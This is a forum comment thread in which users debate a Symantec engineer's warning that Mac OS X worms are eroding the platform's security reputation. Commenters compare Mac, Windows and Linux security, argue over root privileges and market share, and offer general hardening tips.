      seriously though, whether you're just a vanilla astroturfer or an innocent victim of the RDF, this sets a really ... erm ... low low. Kid, you need serious therapy - my advice would be to give away all your Apple posessions and live without computers or portable music players for a while. Sort of like a detox period, and you sorely need it. You'll discover more about life that way.

    8. Re:I disagree with this by Shanep · · Score: 1

      Windows has had what, like 200,000 Virus's in the last year? Apple has had two or three theoretical exploits that either require the user to run code by hand or else target services that most mac users don't turn on. Sounds like Apple is doing its job to me.

      Why does Apple not pull out a big can 'o legal whoop ass? These claims by "say anything to sell product" Symantec are bogus. Surely this is illegal behaviour? They are trying to sell product under false pretenses.

      --
      War crimes, torture, lies, illegal spying... Would someone give Bush a blowjob, already, so he can be impeached?
    9. Re:I disagree with this by pHatidic · · Score: 1

      This is dumb. I own an Apple. The more people who buy Apples, the more software that gets made for the platform. Anyone who already owns an Apple naturally wants other people to buy them. It doesn't have anything to do with "drinking the kool-aid." If you own an Apple because you think it's the best OS, then it's economically rational for you to want other people to use Apple.

    10. Re:I disagree with this by drsmithy · · Score: 1
      But, come on, there's absolutely nothing obscure about writing a virus for OS X.

      You misunderstand. The "obscurity" part for OS X comes from the fact that it's only represented by 1 in every 100 machines. For Linux, it comes from the fact that the vast majority of the userbase will either be smart enough not to let your malware in and/or capable enough to clean it up before it does any damage.

      The relative "vulnerability" of Windows comes from the intersection of its marketshare *and* its user demographic. Take either away and malware infestations would be practically nonexistant (limited to those that actually exploit the OS).

      All we're really arguing then is whether any virus writers care more about notoriety than zombie machines, and I think there are certainly a number out there who do.

      Indeed - and those "concept viruses" for OS X (and Linux) that get scorn heaped upon them are the result. The "first" OS X and Linux viruses have already been written. What you're after is the first catastrophic infection, which is highly unlikely to ever happen to OS X or Linux in their current states of marketshare and user demographic.

      It's not *hard* to write a piece of OS X or Linux malware - any amateur programmer could knock one up in a matter of hours. The hard part is getting it to propogate on systems that are either a) uncommon or b) properly maintained.

  11. Terminology by CastrTroy · · Score: 1

    Most of the "worms" I've seen on Mac haven't actually been worms. They come in via safari and are disabled by unchecking a checkbox. It's not like the windows worms where they have a service that nobody uses listening on a port that is able to execute the code. And it doesn't trash the system because you don't have root access on by default.

    --

    Anthropic principle: We see the universe the way it is because if it were different we would not be here to see it.
    1. Re:Terminology by heinousjay · · Score: 1

      Yeah, because putting down Windows is terribly productive re: ensuring other operating systems are secure.

      Posts like yours are the reason I laugh at anyone that takes Slashdot seriously.

      --
      Slashdot - where whining about luck is the new way to make the world you want.
    2. Re:Terminology by Anonymous Coward · · Score: 0

      What a lot of people are missing is that Apple not allowing root access makes zero difference to how bad a worm or trojan can be.

      For a trojan or worm to be scary, it needs to have access to
      a)your personal data (if this is what they're interested in)
      b)your email account and address book to spread itself

      How many people honestly have their computers set up so that they have to type in a password every time they open any document, or send an email?

      Worms that have root access can obviously break your computer worse, and install things like key-loggers, bots etc. but 99% of important data on your computer and the ability to send emails is not root protected. You can always reinstall your OS if that's hacked, but it's not so easy to un-steal your social security number.

  12. Asking Symantec about this? by tbone1 · · Score: 0, Redundant
    Good gravy, there is an objective opinion from someone without a product to sell. What next, asking a journalist about the integrity of the press?

    --

    The Independent: Reverend Spooner Arrested in Friar Tuck Incident - ISIHAC, Historical Headlines
    1. Re:Asking Symantec about this? by Anonymous Coward · · Score: 0

      Researchers from Symantec are not the same as the Symantec software designers. Symantec has some of the best computer security researchers on the planet, however, their software designers are more than lacking, as we can see from the Norton suite.

  13. A virus free world by __aambat2633 · · Score: 1

    If companies like Symantec would stop making those damn viruses the world would be virus free. But then companies like Symantec would not be needed.
    And if they can't make any viruses, they start making up shit about that it is not safe for users anyway.

  14. I guess this will test ... by hattig · · Score: 3, Insightful

    I guess this will test whether Apple's approach to security (i.e., pretty much like Unix's) is better or worse than Microsoft's.

    I.e., will these worms affect the whole computer because of a fault in the operating system, or will they affect only a single user on the computer because of a software issue that let the worm in to play in that user's space, or will it affect people only because of user stupidity ('ooh, really, clicking on this will make my pen0r bigger!')?

    Note that Microsoft gets critical security issues fairly often with their approach.

    The recent Apple issues have been lowest rated security issues.

    Certainly I think that not having users run as root by default will help Mac OS X, but that doesn't stop them entering their password when prompted.

    You can't secure against user stupidity except by scanning each file that they try to execute for viruses. And that means virus checkers, and the associated slowdowns they bring.

    1. Re:I guess this will test ... by 99BottlesOfBeerInMyF · · Score: 1

      Certainly I think that not having users run as root by default will help Mac OS X, but that doesn't stop them entering their password when prompted. You can't secure against user stupidity except by scanning each file that they try to execute for viruses. And that means virus checkers, and the associated slowdowns they bring.

      I disagree. Creating a blacklist of malware is a way to make machines more secure, but it is only one third of the equation. In addition modern OS's should be implementing jails, ACLs, or VMs for new executables of any sort and providing them with a very limited access to the OS. Further these default limitations need to be built around a very usable UI that informs the user about any unusual behaviors a program wants to use in plain, understandable language. It should have sensible, restrictive defaults. Finally, the application dev tools should encourage the development of programs that don't run afoul of these rules and minimize inconvenience for users. Users should only rarely be asked to let a program have additional privileges and it should always be framed in such a way that the user needs to understand what the program wants to do in order to enter the right decision. For example, "This program would like to read your e-mail address book. (Don't let it read my address book)(Let it read my e-mail address book)" That right there would stop a huge number of malware applications from propagating.

    2. Re:I guess this will test ... by InsaneGeek · · Score: 1

      The unfortunate thing is that for most PC's out there, they really only use one account; and from my small exposure to Mac users they tend to use even fewer system accounts. So in that sense they can't take over the entire box, but if all the stuff you cared about in your system now gone, having an OS still there doesn't really give one any relief. In the grand scheme of things there is no difference, if all my docs are gone and I've got to reinstall the entire OS, or I've got an OS but all my docs are still gone.

      All of the success spyware has had shows the stupidity level of the majority of users; for the most part you had to give permission to install an app.

      In the end, I think everybody's up for a bumby ride and it's market penetration that drives # of security breaches for the desktop, as Windows/OSX/Linux/Solaris architecture aren't the weakest link but the guy behind the keyboard and changing the OS doesn't change the guy behind the wheel.

    3. Re:I guess this will test ... by Feanturi · · Score: 1

      You can't secure against user stupidity except by scanning each file that they try to execute

      That doesn't work either. Telling someone that they are now protected makes them even stupider and more careless. It's like putting on a full suit of armor and then running into the middle of a busy freeway without looking, because you're wearing armor. Still going to get hurt? Yeah you bet!

    4. Re:I guess this will test ... by WhiplashII · · Score: 1

      That is true, but if you have a task running as the superuser that backs up your files to some read-only (to the user) place you can still get them, and no virus can. Having some safe area helps, at any rate.

      --
      while (sig==sig) sig=!sig;
    5. Re:I guess this will test ... by argent · · Score: 1

      If Apple's approach to security in Safari was the same as UNIX's, then this would have been fixed two years ago.

      You can't secure against user stupidity except by scanning each file that they try to execute for viruses.

      You can discourage user errors by giving users time to consider before acting, and by giving applications a safe mechanism for opening helpers.

      Opening untrusted documents automatically from a web browser using a mechanism that can potentially run any application on the system is something I've come to expect from Microsoft. It's not something Apple should be doing.

      Unfortunately, they seem to be emulating Microsoft this time around. This is the third strike, and they patched the symptoms rather than the hole the last two times.

    6. Re:I guess this will test ... by Anonymous Coward · · Score: 0

      "Opening untrusted documents automatically from a web browser using a mechanism that can potentially run any application on the system"

      This is not a matter of 'untrusted documents', but of 'trusted applications'. Every web browser I know of opens untrusted HTML documents automatically. Reason for this is that the browser trusts itself. Similarly, many web browsers trust 'unzip'. I think browsers can and should extend this to more applications.

      For example, your system would be safer if your web browser did not trust your GIF and JPG display code, simply downloading images instead.

      This significantly increases the size of your security border, but users demand that. I think the browser should trust system-supplied programs if it can be fairly sure that the user would double-click the document involved without thinking twice about it if the browser did not do it for him.

      As to the actual security hole: Apple plugged that a couple of days ago with a security update (http://docs.info.apple.com/article.html?artnum=30 3382)

    7. Re:I guess this will test ... by farble1670 · · Score: 1

      I.e., will these worms affect the whole computer because of a fault in the operating system, or will they affect only a single user on the computer because of a software issue that let the worm in to play in that user's space, or will it affect people only because of user stupidity ('ooh, really, clicking on this will make my pen0r bigger!')?

      seriously though, if something can still trash all of my personal data, is that any better? i would say my user data is much more important. the OS is just a piece of software i can re-install. my personal data cannot be replaced. also, any passwords, credentials, personal information is going to be in my user account as well.


  15. Childishness by LiquidCoooled · · Score: 2, Funny

    Folks don't need to worry.

    Using google images as a definitive source, I tried the following searches

    Microsoft worm

    and

    apple worm

    Surprisingly the Microsoft one was filled with warning messages and exclamation marks and maggots.

    Meanwhile the apple one was all cutesy and cartoony and fluffy (some of the worms even appear to be wearing turtle necks)

    The world will continue to turn.

    --
    liqbase :: faster than paper
  16. so what by Anonymous Coward · · Score: 0

    No one ever said Macs were perfect, just that they are better. It's amazing to me how there can be hundreds upon hundreds of fllaws in Windows, but as soon as a token flaw is discovered in the Mac somehow Wlindows users feel vindicated. I suppose it's a matter of emotional self-defense - they don't want to feel bad about buying/using Windows, so the smallest Mac flaw is exaggerated.

  17. Consider the source by mblase · · Score: 1

    A Symantec engineer predicts a 'gradual erosion' of the idea that Macs are a safer operating system than Windows.

    Well, yeah... Symantec has kind of a vested interest in gradually eroding that idea, don't they?

    1. Re:Consider the source by tomstdenis · · Score: 1

      Bingo.

      *golf clap*

      Now will people stop investong in "protection rackets"???

      Tom

      --
      Someday, I'll have a real sig.
  18. Lets be fair, folks by endrue · · Score: 2, Insightful

    Every piece of code is subject to exploits. Show me a program/OS that is 100% infallible and I will show you a liar. I think that the main reason OS/X (and *nix for that matter) was considered to be rock-solid is because very few people were taking shots at it. Now I do realize that *nix-based OSs do plug up the obvious holes that MS left open. But don't assume that just because no one has broken into your house yet that your house is completely secure.

    A computer is only as secure as its maintainer. I am running a small network at home that has a mishmash of linux and Windows computers. Now is it right for me to say that my linux computers are more secure just because they are running linux? No, that's stupid. The same thing applies with this story - Macs can be exploited because that is the nature of the business. We usually find the holes because some numbnut exploits it.

    Just my $0.02

    - Andrew

    --
    I meta-moderate because I care.
    1. Re:Lets be fair, folks by cyber-vandal · · Score: 1

      Of course doing stuff in Linux rarely requires root access, unlike Windows. Now you can blame the app designers if you like (and I do), but setting an app to run as root while the rest of your work is done as a limited user is very easy in Linux, however I've yet to find a way on XP Home. Run As just isn't good enough, anything that runs at start up can't be set to run as a different user, and you also can't set it to be default behaviour, you have to keep doing Run As each time.
      I bet the Wintrolls will now tell me to use XP Pro, but since I'm not a pirate, and nor do I have spare cash for it or the inclination to stump up for an OS I pretty much already have, you can save your bandwidth.

    2. Re:Lets be fair, folks by Anonymous Coward · · Score: 0

      int main(int argc, char **argv) {
      return 0; //i win
      }

    3. Re:Lets be fair, folks by Anonymous Coward · · Score: 0

      Your logic is flawed. Sure no OS is 100% safe. This is a given. Anyone saying the opposite is a liar. But, you're painting it wrong: Anyone using linux or OSX is safer than a windows user by a factor of I guess 1/10.000 (?) at this time. That being the analogy of malware on say linux/windows or OSX/windows. For any attacks other than automated ones, I beleive security is analogous to the skills of the system administrator.

    4. Re:Lets be fair, folks by 99BottlesOfBeerInMyF · · Score: 4, Insightful

      Now is it right for me to say that my linux computers are more secure just because they are running linux? No, that's stupid.

      Why is that stupid? There are real architectural, operational, testing, and implementation differences between Windows and Linux. Obviously one of them is more secure and less likely to be compromised than the other. There is nothing stupid about looking at those differences and at the track record of both OS's and making predictions and making usage decisions based upon that information. "They're all the same," is the argument of a lazy man or someone trying to justify a bad choice by trying to make all choices look equally bad.

      The same thing applies with this story - Macs can be exploited because that is the nature of the business. We usually find the holes because some numbnut exploits it.

      No one is arguing that Macs can't be exploited. They certainly can be and are. We do not, however, find most exploitable holes by seeing exploits in the wild. The majority of holes are discovered by developers coding the products. The next largest chunk are found by users and legitimate security researchers. Then a few are found when they are exploited in the wild by hackers. How many zero day exploits have their been for Linux or OS X? The answer is very, very few if any. There have been some for Windows, but most of the underlying vulnerabilities were probably discovered by MS, but they just did not get around to fixing them.

      Sure there will be exploits and even zero-day exploits for OS X, but they are just not likely to spread widely or be much of a problem for the average user. If they are a large threat they will be well-known and quickly fixed. A major worm for OS X would be news and it would be unusual. For Windows it is business as usual.

      But don't assume that just because no one has broken into your house yet that your house is completely secure.

      This is a very good analogy. My house is concrete block and was built with only glass block windows on the first floor. Actually the block is two thick on the first floor. Before I bought it, someone had wired a security system and outdoor flood lights. A few months back someone busted into my shed, but ran off without getting anything. The items in my shed are relatively large an not all that valuable.

      I'd say that is a good analogy for OS X. It is built with security in mind on well tested, industrial grade framework. They have added onto it and made it more secure in some ways and less secure in others, but it will likely never be as insecure as the neighbor's ranch style place with two plate glass doors and a key under the mat that you see the kids get out every day.

      OS X had someone break into the shed (try to distribute a trojan) but nothing has been taken. It is a good sign that maybe Apple and OS X users should be paying attention and maybe doing some more security reviews, but it is in no way comparable to the apartment complex down the street that have been burgled at least once a month for several years and where we always hear about people getting shot.

    5. Re:Lets be fair, folks by endrue · · Score: 1

      I agree with you and all of the moderated posts above. I guess that my point is aimed more at the user who thinks that just because they may live in that concrete-reinforced home that they can leave their home, forget to shut the front door, and still be more secure.

      I know that *nix is more secure from the ground up - but that does not mean that a stupid user will operate it in such a manner to keep it secure as it was on day 1.

      --
      I meta-moderate because I care.
    6. Re:Lets be fair, folks by argent · · Score: 1

      I think that the main reason OS/X (and *nix for that matter) was considered to be rock-solid is because very few people were taking shots at it.

      Apache on UNIX has 3-4 times the webserver market share of IIS.

      last time I checked, IIS was still getting twice the number of defaced sites as Apache.

      A computer is only as secure as its maintainer.

      A computer is only as secure as its maintainer can make it. There are holes in Windows that take heroic measures to completely close, that are closed by default or can't even be created on UNIX-based systems.

  19. Simple math... by fitten · · Score: 1

    Simple math based on market share show why malware writers haven't targeted much more than Windows (not that Windows isn't easily compromised). If you write something that has almost no chance or spreading around, or even if it does, won't do much, what's the point?

    Now that Macs are getting popular, we'll see more of it... the same goes for Linux. It's simply a matter of time.

    1. Re:Simple math... by imroy · · Score: 1

      Uh right. Care to explain then why there aren't worms spreading via Apache? Or Nokia mobile phones? Or Blackberrys. Or all sorts of other really popular software/devices?

      Popularity and exposure play important roles, but not as much as other issues like ingrained behaviour, or unpatched vulnerabilities. Windows PC's may be pretty damn ubiquitous, but don't forget that they're so easy to attack!

    2. Re:Simple math... by squiggleslash · · Score: 1
      We had a worm hit an Apache server at my employer just over a week ago. Ironically, it was running Windows and also had IIS6 on it (on a different port.)

      Apache worms are growing.

      --
      You are not alone. This is not normal. None of this is normal.
    3. Re:Simple math... by fitten · · Score: 1

      As another posted already... and Apache has has other worms in the past.

  20. Faulty reporting by katorga · · Score: 1

    Mac's are not "immune" to anything.

    They are not "targeted" due to their small market share. They are also not targeted due to the fact that they keep changing OSs, processors and whatnot such that any Mac (OSX PPC, OSX x86, OS9 PPC, OS9 Moto) is a subset of an already small market share.

    Windows is a huge bullseye due to is truly massive installed base. Linux will be the next target.

    1. Re:Faulty reporting by feranick · · Score: 1

      Why you say that Linux will be the next target? I think a Linux user (mind, I am saying user, not Linux box) is inherently more security-conscious that a regular Mac user. So linux itself could be as insecure as anything, but their administrator should be more prepared to face threats than regular OSX user, specifically those who are affected by the "invincibility" virus.

    2. Re:Faulty reporting by dswartz · · Score: 1

      Serious question. What are the differences between OS PPC and OS Moto, or OSX PPC and OSX x86, that result in a trojan, worm, or virus succeeding on one, but not the other?

    3. Re:Faulty reporting by db32 · · Score: 1

      False logic. That is like saying that if tanks were more popular they would be less secure than than light armored vehicles. While tanks may get shot at more if there were more of them around to be targets, it has absolutely nothing to do with how much damage the tank suffers. Popularity is not the same as security. Just because you are more of a target, doesn't make you any more vulnerable to the attacks.

      --
      The only change I can believe in is what I find in my couch cushions.
    4. Re:Faulty reporting by WWWWolf · · Score: 1
      They are also not targeted due to the fact that they keep changing OSs, processors and whatnot such that any Mac (OSX PPC, OSX x86, OS9 PPC, OS9 Moto) is a subset of an already small market share.

      MS-DOS on a 286, MS-DOS on a 386, Windows 3.1 on 386, Windows 3.1 on 486, Windows 95 on 486, Windows 95 on Pentium, Windows 98 on Pentium, Window 98 on Pentium II, Windows 2000 on Pentium III, Windows 2000 on AMD...

      Granted, the assembly instructions subset needed to implement and run viruses probably got laid down in the 8088 era, but still =)

    5. Re:Faulty reporting by 16K+Ram+Pack · · Score: 1
      Whilst there is a huge amount of truth in that, it's also worth considering that most viruses on Windows are not related to Windows being crappy, but the gullible users.

      Macs do seem to make it safer, requiring password input (in the same way that Firefox requires a two-stage process to download and run an exe off the web).

    6. Re:Faulty reporting by Anonymous Coward · · Score: 1, Interesting
      1. Mac OS 9 does not run on Motorola processors. The newest Mac OS that a 68040 will run is 8.1. The newest you can put on a 68000 is 7.5.5 or possibly 7.6.
      2. Why do you say Linux will be next? (Well first of all, there are already worms that target Linux boxes, but if you run a recent distro and have secure passwords/key-based SSH auth you are fine. The SSH brute force worms could also in theory affect Mac OS X.) But Mac OS X has a larger consumer install base. By the way, does Mac OS X have a non-executable stack by default yet? I recently discovered that recent Linux kernels do, as well as randomized stack positions. That goes a loooong way in preventing buffer overflows.
    7. Re:Faulty reporting by db32 · · Score: 1

      Absolutely. While Windows is riddled with security problems, the biggest and most critical unpatched Windows vulnerability is the Windows User. At the same time though, the whole selling point for Windows has been ease of use, and when you make it easy for users to do stupid things, users will do stupid things.

      --
      The only change I can believe in is what I find in my couch cushions.
    8. Re:Faulty reporting by jackjeff · · Score: 1

      Because Apple breaks software backward compatibility very often, and is actually very criticized fot that by software publishers. On the other hand, it makes it hard for a virus malware to be able to work on many Mac generations.

      For instance, the architecture of a computer and the OS has changed too much since the times of Windows 95 (MacOS 7.5 / 8), for even legacy software bought in those days to run sucessfully on today's latest iMac or MacBook Pro. Even if these soft do not need to access hardware or anything low level at all...

      There are four different platforms that have been called mac in the last 10 years
      - the new. x86 with MacOS X. OS X is based on a Mach microkernel + BSD low level APIs + Carbon/Cocoa for GUI toolkit. Code written for this OS will not be able to target older Macs.
      - the most current. MacOS X on ppc. Newer machines can only execute new code from emulation called Rosetta. And Rosetta having some limitations, a good virus writer should be cautious enough or his code will not run on the newer x86 machines. Running as an application is ok, accessing low level system resources would require 2 codes (1 for x86 another for PPC)
      - the old MacOS 8, 9 on ppc. It's the original MacOS series. Not UNIX based. Different APIs thank MacOS X for all low level management (and network) Applications would work on MacOS X ppc (not x86) only through a compatibility box. More or less it's a sort of vmware/virtual pc with better integration. There's no emulation. Viruses written for MacOS 8/9 are very unlikely to be able spread on OS X
      - the old MacOS 7, 8, 9 on 68k. (I think it's better than calling them Moto, coz the first ppc were made by Motorola too). Although the API and the system did not change, ppc machines running MacOS 8/9 are only able to run 68k code through an emulation layer (yeah.. same story again). It means, viruses would not be able to access low resources and spread on the two platforms.

      As you can see Apple is changing its platform every 4/5 years, breaking backward compatibility. A "malware" written for a newer version would never work on an older version. And it's usually hard for this type of software to propagate from an "older" version to a "newer"... Unless this is a mere "application" more or less asking the user to click on it, or use techniques to lure the user to do that, and as long as it does not try to access a virus.

      Now, there are many things that could potentially be exploited to write a virus on Mac. Either that'd be a buffer overrun or smth that could be correct by a fix, or some flaw in the design of an API. Microsoft would probably try to patchwork around the API not to break the compatibility in that case. But i'm damn sure Apple would just trash away the old API :)

      x86 = pentium processors and co
      ppc = powerpc. either from IBM or motorala in the old days
      68k = the old motoral 68000 series processors. 68030 / 68040 for the perio that interest us.

    9. Re:Faulty reporting by griffeymac · · Score: 1

      Uh, aren't PowerPC processors made by Motorola? (Everything from the 601 to the 7455, I think--right?)

      OS 9 might not run on an 680x0 machine, but I'm pretty sure it can run on machines with "Motorola processors."

      G.--

  21. Mac OS X in the malware picture? by sprins · · Score: 2, Funny
    ...bad guys appear to be casing the joint...
    Dang! Well, back to OS/2 for that good ol' "security by obscurity" strategy.
  22. Basic Steps by ZachPruckowski · · Score: 1

    There are like 4 steps to protecting yourself against viruses on Macs:

    1) Leave your firewall on as many ports as possible. Only open it on non-major ports when you're actually using them (it's so easy to change if you want to)
    2) Block images in email and don't open DLed crap.
    3)Don't run as Admin. make a new account, check the admin box, and uncheck yours.
    4)If you're super-paranoid, change the privledges to Terminal to take away everyone's access except root.

    These steps literally took 3 minutes on Tiger.

    1. Re:Basic Steps by Nerdfest · · Score: 1

      Blocking images on emil is an unreasonable step that shouldn't be required. Major companies use HTML with images in advertising, and some of us acually request to be sent those adds. Simply viewing an emain should not need to be a restricted operation. Removing a users ability to perform common tasks is not an acceptable way to enforce security, it's just hiding the problems.

    2. Re:Basic Steps by ZachPruckowski · · Score: 1

      The simple answer is to only open legitimate emails, but if you block images, on Thunderbird at least you can selectively re-enable them, meaning that if you want the legit images, you can re-enable them.

    3. Re:Basic Steps by ingoldsby · · Score: 1

      Most of those steps really aren't even needed. If there's an exploit it will be exploited - but so far everthing I've seen has been more social engineering than anything. Even running as an Admin, you have to enter your password whenever the computer tries to change anything substantial/install anything. At least as far as I've seen.

    4. Re:Basic Steps by Anonymous Coward · · Score: 0

      Those things have nothing to do with the published exploits.
      Here are the real basic steps to protect your Mac from the recently announced security issues:
      1) Uncheck "open safe downloads automatically" in Safari.

    5. Re:Basic Steps by gnasher719 · · Score: 1

      '' Blocking images on emil is an unreasonable step that shouldn't be required. ''

      It is absolutely unavoidable for privacy reasons. If your mail reader loads an image from an email, the server holding that image gets a request from your machine. If spam is designed at least half intelligently, then that request will somehow identify your email address. So the server holding the picture will actually know that someone opened a spam email, which verifies your email address as correct, so you will get more spam in the future.

      The MacOS X "Mail" program has a "Load Images" button if there are any unloaded images in your email, so you can decide. But if you don't load the images, no spammer can know that your email was read.

    6. Re:Basic Steps by shotfeel · · Score: 1

      Just wondering if the way Apple's Mail program handles it would work for you. I have it set to not display images. When I view an email that contains images that are not being shown, a "Show Images" button appears at the top of the message. If I know the source of the email its simple enough to hit the button. OTOH if you get a lot of messages like that it might get irritating.

      OTOH I miss all those images of naked teenagers who apparently can't wait to meet me.

    7. Re:Basic Steps by Nerdfest · · Score: 1

      Stop reading my mail.

  23. Getting the Worms by sjonke · · Score: 1

    I've got your "bird" right here, Symantec.

    --
    --- What?
  24. 'Worms' by BenjyD · · Score: 1

    The worms didn't appear to inflict any meaningful harm on Macs -- they required users to go through several steps on their computers before being infected.

    Doesn't the fact that they require user intervention to propogate make them not worms but trojan horses? Every OS is vulnerable to those, from Irix to Windows.

    1. Re:'Worms' by 16K+Ram+Pack · · Score: 1
      It's about the OS being as smart as possible with users to help them.

      For instance, Firefox requires 2 stages to run an exe off a webpage (I'm sure it can be overridden). You have to download and then manually run, giving the user the information "you've downloaded a dangerous program".

      Also, Firefox doesn't do what IE does and allow the status bar to be overridden. It tells me where the page is going, whether it be a javascript command or the URL. For a non-savvy IE user, they see a link to a well known site.

  25. When Apples get worms... by digitaldc · · Score: 1

    ...use RAID

    --
    He who knows best knows how little he knows. - Thomas Jefferson
  26. Overreaction by dfj225 · · Score: 1

    Personally, these two "worms" for OS X don't worry me too much. They both seem to require user interaction inorder to infect the system. What will really be of concern is a worm that can spread without the user being involved in any way. Personally, I think that OS X is much less likely to suffer from exploits of this type than Windows.

    --
    SIGFAULT
  27. It's not that Mac OS X is "virus-proof" by jht · · Score: 4, Insightful

    It's never been that (at least for most people). The advantage of Mac OS X is that it is less vulnerable than Windows (making Windows an easier target), and that Apple made decisions in the design process that mean that the typical consequences of a flaw are less severe. In recent years, Microsoft has attempted to harden Windows further and reduce their exposure - in W2K3 Server, for instance, they've done a pretty good job of it.

    Even if Apple magically pulls some sort of super OS-jujitsu that reverses their market share and Microsoft's, the basic architecture will stay the same underneath - and that means Apple will have their relative advantages intact for the foreseeable future. Windows is, as its heart, an OS that has traded off many security options for ease of access and ease of programming. Apple had the advantage of seeing what was already happening to Windows when they made their decisions about how OS X would be designed, plus the system it was derived from was pretty robust to begin with.

    There will be viruses that attack Mac OS X. Some will do a pretty good job of attacking. I'm kind of surprised it's taken this long to get there. But I'm also not expecting it ever to compare to Windows in that regard.

    --
    -- Josh Turiel
    "2. Do not eat iPod Shuffle."
    1. Re:It's not that Mac OS X is "virus-proof" by BuR4N · · Score: 1

      "Windows is, as its heart, an OS that has traded off many security options for ease of access and ease of programming."

      No, most users have decided not to bother to learn how to configure windows user accounts, so it has become a system where its defacto standard to run as "root".

      --
      http://www.intellipool.se/ - Intellipool Network Monitor
    2. Re:It's not that Mac OS X is "virus-proof" by Cro+Magnon · · Score: 1

      Microsoft DEFAULTS to running as root, so it's a de facto standard. Developers know it's a de facto standard so they code accordingly. That makes it a hassle to NOT run as root!

      --
      Slow down, cowboy! It has been 4 hours since you last posted. You must wait another few hours.
    3. Re:It's not that Mac OS X is "virus-proof" by WhiteWolf666 · · Score: 1

      Good thing, then, that similar to the OS X setup, Windows XP SP2 creates new users without administrator privelidges, right?

      Oh, wait; no. You have to go in and do that manually, after you've followed the MS wizard that shows you how to configure users.

      Sometimes a company will do things to mitigate user ignorance. Sometimes a company will do thing to exacerbate user ignorance.

      Micrsoft follows path #2.

      --
      WhiteWolf666 an exBush supporter. All you new-school,compassionate,save the children Republicans can rot in hell
    4. Re:It's not that Mac OS X is "virus-proof" by ceoyoyo · · Score: 1

      The fact that you have to manually configure a non-root user is one of the trade-offs the GP was talking about.

      On OS X the default is an administrator, who is NOT root but can gain root privilege using his password. Slightly less easy to use but lots more secure. Even more secure would be a totally non-administrator account with no sudo privilege, but that would be MUCH less easy to use.

    5. Re:It's not that Mac OS X is "virus-proof" by b0s0z0ku · · Score: 1
      In recent years, Microsoft has attempted to harden Windows further and reduce their exposure - in W2K3 Server, for instance, they've done a pretty good job of it.

      Sorry? M$ may have done a pretty good job of providing timely patches for Windows Server 2003, but the basic system is full of holes that need constant patching. We had a freshly-installed Server 2003 box at work which had SP1 on it. We connected it to the network to download SP2 since we didn't have a copy handy. Within about 15 minutes of being plugged in, the machine started showing LSA Shell errors and rebooting unpredicatably. Turns out that it had been compromised by Sasser as well as another virus (forget the name). This on a virgin box, within a quarter of an hour of being connected!

      -b.

  28. Duh? by SchrodingersRoot · · Score: 1

    Some security experts believe hackers are becoming more interested in writing nasty code for Macs precisely because of reports of its relative immunity to security woes

    This is what I've been saying for a while. Really, it's kind of a self-evident thing. Let's face it, the hacker (and/or cracker) mentality is often to do things to see if/because it's possible. It's the entire point. Just like government targets have historically been more tempting because they're supposed to be more secure, the more 'impossible' it is to do something, the higher that temptation. It's about cred and skill and kung fu. And there are people that think that way that have destructive, rather than constructive aims with this. Especially given the attitudes of some Mac users. Finagle knows it ain't all of them, but honestly, there are plenty that even I occasionally wouldn't mind seeing taken down a peg or two.

    Everyone (at least anyone who writes code) knows any non-trivial system is going to have bugs, and weaknesses, of some sort. Will there be a pandemic like with Windows boxen? I doubt it, but on the other hand, I also doubt that all Macs have 3 inch hypersteel plating with regenerating plasma shields and a cloaking device. Maybe that's just me, though.

  29. Application versus Operating System by webjedi · · Score: 2, Informative

    Folks,

    The key thing to eyeball here, with all the FUD that has been stirred up, is there are OS vulnerabilities and application vulnerabilities. Much like the annual brew-haha when we comapre Linux versus Windows, you must make a clear differentiation.

    Like Linux, I would never count, say an Apache hole against Mac nor Linux, since it's an application that is added after a base install. However, unlike Mac or Linux, Windows flaws are very much a hybrid. Windows really doesn't function much as Windows without IE (try reviewing a browser hijack, and see that the file explorer uses the IE render engine to see that an IE flaw is an OS flaw), and subsequent issues with IE are counted against the OS.

    The issues found recently with Bluetooh OBEX and the Safari "open anything" flaw are two examples of differentiators. the OBEX flaw, is yes, a core OS issue, however, it was identified and patched two patches ago (10.4.3), Apple is no longer shipping the OS in that rev anymore. Minus one to OS security for Apple. Hoever, Safari, an application above the core OS, had a "bad settings default" besides the overall flaw in the app. In short, both are avoidable through an alteration in settings or application of an old patch. To be surprised that the Mac is "insecure" by the press FUD is rediculous.

    Windows, as I sit on Microsoft briefings to my company each month, have not only application security issues on a predictable and regular basis (slow months in the summer and December are do to staff vacations), but because many of those apps are so tied into the core workings of the Operating System, that each new flaw opens a bigger hole that build upon each other. A standard install of XP out of the box takes 38 patches plus the two required to just upgerade to the latest version of Windows Update. WTF?! And that does even cover the OS settings needed to make it "generaly" safe to put on the Internet.

    I feel safe putting ANY Mac, BSD or Linux box on the net for a half hour while I patch, because, in general are most of the distributions have reasonable defaults set, but, as they stay current, it makes it much less appetizing for the latest virus, worm, or hax0r than your default XP install. As it is with big business security, you don't nessesarily have to be the most secure, you just have to be less appetizing than the next guy down the row.

    I'm truly sick of the news media (print, on-line, and TV) spreading unknowledgeable FUD to the masses, just because it's "something different" without recognizing why it may be different, let alone the overall truths. Remember kids, duck and cover!

    1. Re:Application versus Operating System by boingo82 · · Score: 1
      And let's not forget user vulnerabilities.

      I am sitting on a computer that finally has security software installed as of last night. We just spent over a month connected to the internet, raw, on XP Pro. DSL connection, computer on 18+ hours daily. Computer USED online 8+ hours daily. (My husband has a WOW problem...)

      The security set-up? Windows security center. No physical firewall. Just a direct DSL connection.

      The result? After 35 days of relatively unprotected surfing, I ran a full system scan....result?

      9 bits of "malware". All of which were ad delivery tracking cookies, i.e. doubleclick. No viruses, no worms, no malicious activeX controls.
      BTW..we're using F-secure Internet Security Suite now..purely on the basis that they're the only company who actually detected the Sony rootkit.

      So now I am wondering, how necessary is security software if you're not a total moron? If you're not opening the "naked pics of Paris Hilton" that some kind person emailed you....if you're not searching for "pr0n" or "warez" and clicking randomly on whatever pops up...if you are browsing in Mozilla and not going to seedy sites, just a couple of trusted ones...if you don't use instant messaging at all, and therefore aren't clicking on random links and files that are sent via AIM....if you're not downloading fun "shareware" games without reading the EULA...

      Really...how hard does a person have to try to avoid viruses, worms, malware on either a PC OR a Mac? I'd wager that if you're not a horny gullible idiot, it's pretty effortless.

      --
      As a republican I feel it my responsibity to manufacture criminals. People need punished!
    2. Re:Application versus Operating System by dcmeserve · · Score: 1

      To explore an example: Has there ever been a Firefox/Mozilla security flaw that wasn't only for the Windows version?

      --
      "Orthodoxy is unconsciousness" - Orwell
    3. Re:Application versus Operating System by WhiteWolf666 · · Score: 1

      Yes, I think so. Too lazy for linkage, but I believe there was a IDN exploit on FireFox which did actually work on Linux/OS X.

